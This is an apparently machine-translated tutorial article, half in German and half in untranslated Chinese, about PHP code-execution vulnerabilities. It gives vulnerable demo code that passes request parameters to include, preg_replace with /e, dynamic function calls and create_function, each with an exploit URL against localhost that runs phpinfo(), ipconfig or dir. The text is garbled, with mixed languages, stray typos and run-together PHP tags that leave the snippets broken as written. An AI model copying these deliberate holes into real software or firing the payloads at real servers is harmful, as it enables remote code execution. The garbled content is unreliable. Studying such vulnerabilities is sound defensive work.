Der in diesem Artikel vorgestellte Inhalt ist eine Zusammenfassung der Schwachstellen bei der Ausführung von PHP-Code, die einen gewissen Referenzwert haben. Jetzt kann ich sie mit allen Freunden teilen, die sie brauchen.
Ref: http://blog.csdn.net/kuangmang/article/details/27170309
Ref: http://blog.csdn.net/fuckcat_2333 /article/details /52125951
Die Funktionen in PHP, die Code ausführen können, sind: eval(), Assert(), ``, System(), Exec() , shell_exec(), Wenn die Parameter (teilweise) in passhru(), pcntl_exec()
diese Funktionen steuerbar sind, können Sicherheitslücken bei der Befehlsinjektion auftreten. Escapeshellarg wird normalerweise zum Verarbeiten von Parametern verwendet. Diese Funktion weist jedoch in der niedrigeren Version der PHP-Bibliotheksfunktion eine Sicherheitslücke auf (Grund: Backslashes werden unter Windows nicht gefiltert), sodass Sie darauf achten müssen.
Wenn Eingabevariablen in Datei-Include-Funktionen eingebunden werden (include, include_once, require, require_once), kann es zu einer Code-Injection kommen.
Bedingungen:allow_url_include=Ein, PHP-Version>=5.2.0
Democode:
<?phpinclude($_GET['a']);?>
Besuchen Sie http://127.0.0.1/demo.php?a=data:text/ plain,%3C?php%20phpinfo%28%29;?%3E, phpinfo() wird ausgeführt.
preg_replace()-Funktion:
Wenn der /e-Modusmodifikator im Muster vorhanden ist und übereinstimmt, darf der ersetzende Code ausgeführt werden.
条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:
<?phpecho $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>
访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()
条件:pattern参数中带/e
<?phppreg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!");?>
提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。
<?php$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);?>
当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令
关键函数:create_function
demo code:
<?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php
相关推荐:
Das obige ist der detaillierte Inhalt vonZusammenfassung der Schwachstellen bei der Ausführung von PHP-Code. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!